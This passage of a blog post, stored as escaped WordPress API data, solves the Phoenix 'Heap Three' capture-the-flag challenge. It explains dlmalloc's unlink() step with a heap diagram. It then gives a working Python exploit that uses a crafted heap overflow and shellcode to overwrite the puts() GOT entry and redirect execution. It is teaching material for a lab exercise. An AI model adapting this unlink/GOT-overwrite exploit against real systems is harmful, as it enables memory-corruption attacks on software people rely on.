\u2502\r\n         \u250c\u253c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u25c2\u2518\u25c2\u2500\u2500P\u2500\u2500\u2500\u25b8\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2500\u2510\r\n         \u2502\u2502 \u2502 prev_size \u2502    0x20  \u2502 \u2502 prev_size \u2502 \u2502  \u2502\r\n         \u2502\u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502  \u2502\r\n         \u2502\u2502 \u2502  size=16  \u2502    0x24  \u2502 \u2502  size=32  \u2502 \u2502  \u2502\r\nChunk B  \u2502\u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502  \u2502\r\n         \u2502\u2502 \u2502 fd = 0x40 \u251c\u2500\u2510  0x28  \u2502 \u2502  fd ptr.  \u2502 \u2502  \u2502\r\n         \u2502\u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502  \u2502\r\n         \u2502\u2514\u2500\u2524 bk = 0x00 \u2502 \u2502  0x2c  \u2502 \u2502  bk ptr.  \u2502 \u2502  \u2502  Will go to\r\n         \u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502        \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502  \u251c\u2500 unsorted bin\r\n         \u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502        \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502  \u2502\r\n         \u2502  \u2502 prev_size \u2502 \u2502  0x30  \u2502 \u2502 prev_size \u2502 \u2502  \u2502\r\n         \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502  \u2502\r\nChunk C  \u2502  \u2502  size=16  \u2502 \u2502  0x34  \u2502 \u2502  size=16  \u2502 \u2502  \u2502\r\n         \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502  \u2502\r\n         \u2502  \u2502   User    \u2502 \u2502  0x38  \u2502 \u2502           \u2502 \u2502  \u2502\r\n         \u2502  \u2502   Data    \u2502 \u2502  0x3c  \u2502 \u2502           \u2502 \u2502  \u2502\r\n         \u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502        \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2500\u2518\r\n         \u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u25c2\u2518\u25c2\u2500\u2500FD\u2500\u2500\u25b8\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u25c2\u2518\r\n         \u2502  \u2502 prev_size \u2502    0x40  \u2502 \u2502 prev_size \u2502\r\n         \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502  \u2502  size=16  \u2502    0x44  \u2502 \u2502  size=16  \u2502\r\nChunk D  \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502  \u2502 fd = 0x?? \u251c\u2500\u2510  0x48  \u2502 \u2502 fd = 0x?? \u251c\u2500\u2510\r\n         \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502\r\n         \u2514\u2500\u2500\u2524 bk = 0x20 \u2502 \u2502  0x4c  \u2514\u2500\u2524 bk = 0x00 \u2502 \u2502\r\n            \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u25be          \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u25be\r\n\r\n<\/pre>\n<p>The important thing to understand here is that the value in Chunk B&#8217;s forward pointer (P->fd) is written to an offset of the address in Chunk B&#8217;s back pointer (P->bk). In this case, it overwrites the Bin&#8217;s forward pointer (BK->fd). And the value in Chunk B&#8217;s back pointer (P->bk) is written to an offset of the address in Chunk B&#8217;s forward pointer (P->fd). In this case, it overwrites Chunk D&#8217;s back pointer (FD->bk). That&#8217;s all the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> unlink() <\/span>macro does.<\/p>\n<h1>Exploitation<\/h1>\n<p>The idea here is to overwrite Chunk C to make it look like it&#8217;s already free. Then, when<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> free(c) <\/span>is called, we&#8217;ll be utilizing a &#8220;double-free&#8221; exploit. The heap manager calculates the previous chunk&#8217;s address (P) by subtracting the &#8220;prev_size&#8221; field from current chunk&#8217;s address. We&#8217;ll set Chunk C&#8217;s prev_size value to -4 so that the previous chunk&#8217;s address (P) will be 4 bytes more. The forward pointer (P->fd) is at an 8 byte offset while the back pointer (P->bk) is at a 12 byte offset.<\/p>\n<p>The exploit&#8217;s payload will look like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">CHUNK A\r\nNOP buffer (only 4 bytes)\r\nShellcode\r\n\r\nCHUNK B\r\nPadding (32 bytes)\r\nprev_size field (for Chunk C)\r\nsize field (for Chunk C)\r\n\r\nChunk C\r\nPadding (4 bytes)\r\nWhere to write (subtract 12 bytes from target address)\r\nWhat to write (Note: the &quot;where to write&quot; field is written to here+8)<\/pre>\n<p>I&#8217;ll try to better explain those last 2 lines. The goal here is to overwrite the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> puts() <\/span>address in the GOT with the address of the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> winner() <\/span>function. That way, when that last string is printed out, it will instead redirect execution. So in Chunk C, after the 4 bytes of padding, I&#8217;ll put the GOT address for<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> puts()<\/span>. This is the P->fd value. However, I&#8217;ll need to subtract 12 from that address due to the fact that it&#8217;s actually writing to BK->fd and not BK (see the code for the unlink macro) and that offset is +12 bytes.<\/p>\n<p>The last 4 bytes of the payload is the P->bk value and it&#8217;s going to be the value I want to write. In this case, I&#8217;d like it to be the address of the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> winner() <\/span>function. However, life isn&#8217;t that simple. Whatever address we use for this, the heap manager will put the P->fd value 8 bytes after it. So if I used the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> winner() <\/span>function&#8217;s address directly, I&#8217;d get a Segmentation Fault as that&#8217;s in the .text segment, which is not writable. Instead I&#8217;ll use shellcode in the heap to push that address onto the stack, then<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> ret <\/span>to it.<\/p>\n<p>In an attempt to be more civilized, I decided to write this in Python 3.<\/p>\n<pre class=\"brush: python; light: false; title: heap-three.py; notranslate\" title=\"heap-three.py\">#!\/usr\/bin\/env python3\r\n\r\nimport struct\r\nimport sys\r\n\r\nPUTS = 0x804c13c - 12 # GOT location for the puts() address\r\nWINNER = 0x080487d5   # Address of the winner() function\r\nRETADDR = 0xf7e69000 + 12  # Address EIP jumps to after calling puts()\r\n\r\n# Chunk A\r\nout  = b&quot;&quot;\r\n\r\n# https:\/\/defuse.ca\/online-x86-assembler.htm\r\n# push 0x080487d5\r\n# ret\r\nshellcode = b&quot;\\x68\\xD5\\x87\\x04\\x08\\xC3&quot;\r\n\r\nout += b&quot;\\x90&quot;*4 + shellcode\r\n\r\n# Chunk B\r\nout += b&quot; &quot; + b&quot;B&quot;*32 # Starts the next argument for chunk B\r\nout += struct.pack(&quot;I&quot;, 0xfffffffc) # prev_size\r\nout += struct.pack(&quot;I&quot;, 0xffffffb0) # size\r\n\r\n# Chunk C\r\nout += b&quot; CCCC&quot; # Starts the next argument for chunk C\r\nout += struct.pack(&quot;I&quot;, PUTS) # P-&gt;fd\r\nout += struct.pack(&quot;I&quot;, RETADDR) # P-&gt;bk\r\n\r\nsys.stdout.buffer.write(out)<\/pre>\n<p>I used an online assembler to generate the shellcode and put it on the heap within Chunk A. I set the size of Chunk C to -80 because the heap manager will check the next chunk to see if it is free (and if so, consolidate). It calculates the next chunk&#8217;s address by adding the current chunk&#8217;s pointer value to its size. In this case, I&#8217;m getting the heap manager to look at Chunk A. It then checks Chunk B for the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> PREV_INUSE <\/span>bit. If the bit was cleared, it would attempt to consolidate the current chunk (C) with the next chunk (A).<\/p>\n<h1>Final Thoughts<\/h1>\n<p>Wow, what a journey. If you, dear reader, are still with me at this point, I&#8217;d like to thank you for reading and ask that you leave feedback. I&#8217;m sure I can improve my explanations. I&#8217;m sure there are errors. Let me know!<\/p>\n<p>If you still don&#8217;t &#8220;get it,&#8221; don&#8217;t worry, it took me a long time as well. Check out some of the references below. That reading material should help. In addition, there&#8217;s another blog that did a write-up for this same challenge: <a href=\"https:\/\/www.lucas-bader.com\/ctf\/2019\/05\/02\/heap3\">https:\/\/www.lucas-bader.com\/ctf\/2019\/05\/02\/heap3<\/a>. There&#8217;s a YouTube video (<a href=\"https:\/\/www.youtube.com\/watch?v=gL45bjQvZSU\">https:\/\/www.youtube.com\/watch?v=gL45bjQvZSU<\/a>) that might also help. It&#8217;s a &#8220;write-up&#8221; for the older <a href=\"http:\/\/exploit.education\/protostar\/heap-three\/\">Protostar Heap Three<\/a> challenge, but the concept is the same.<\/p>\n<h1>References<\/h1>\n<p>I strongly recommend reading these articles from Azeria Labs first. It doesn&#8217;t go in depth as much as some of the other material, but that&#8217;s what makes it easier to learn.<br \/>\n<a href=\"https:\/\/azeria-labs.com\/heap-exploitation-part-1-understanding-the-glibc-heap-implementation\/\">Heap Exploitation &#8211; Part 1: Understanding the Glibc Heap Implementation (malloc)<\/a><br \/>\n<a href=\"https:\/\/azeria-labs.com\/heap-exploitation-part-2-glibc-heap-free-bins\/\">Heap Exploitation &#8211; Part 2: Understanding the Glibc Heap Implementation (free, bins, tcache)<\/a><\/p>\n<p>Related Phrack articles:<br \/>\n<a href=\"http:\/\/phrack.org\/issues\/57\/9.html#article\">Once upon a free()<\/a><br \/>\n<a href=\"http:\/\/phrack.org\/issues\/57\/8.html#article\">Vudo malloc tricks<\/a><\/p>\n<p>This description of heap management from Doug Lea is helpful, but not terribly useful for the purposes of solving this challenge:<br \/>\n<a href=\"http:\/\/gee.cs.oswego.edu\/dl\/html\/malloc.html\">A Memory Allocator<\/a><\/p>\n<p>Other reading material:<br \/>\n<a href=\"https:\/\/sploitfun.wordpress.com\/2015\/02\/26\/heap-overflow-using-unlink\/\">Heap overflow using unlink<\/a><\/p>\n<p>And of course, the source code for this challenge&#8217;s malloc implementation:<br \/>\n<a href=\"ftp:\/\/gee.cs.oswego.edu\/pub\/misc\/malloc-2.7.2.c\">ftp:\/\/gee.cs.oswego.edu\/pub\/misc\/malloc-2.7.2.c<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This level explores why you should always explicitly initialize your allocated memory, and what can occur when pointer values go stale &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-three-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Heap Three Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-696","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/696","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=696"}],"version-history":[{"count":94,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/696\/revisions"}],"predecessor-version":[{"id":1537,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/696\/revisions\/1537"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}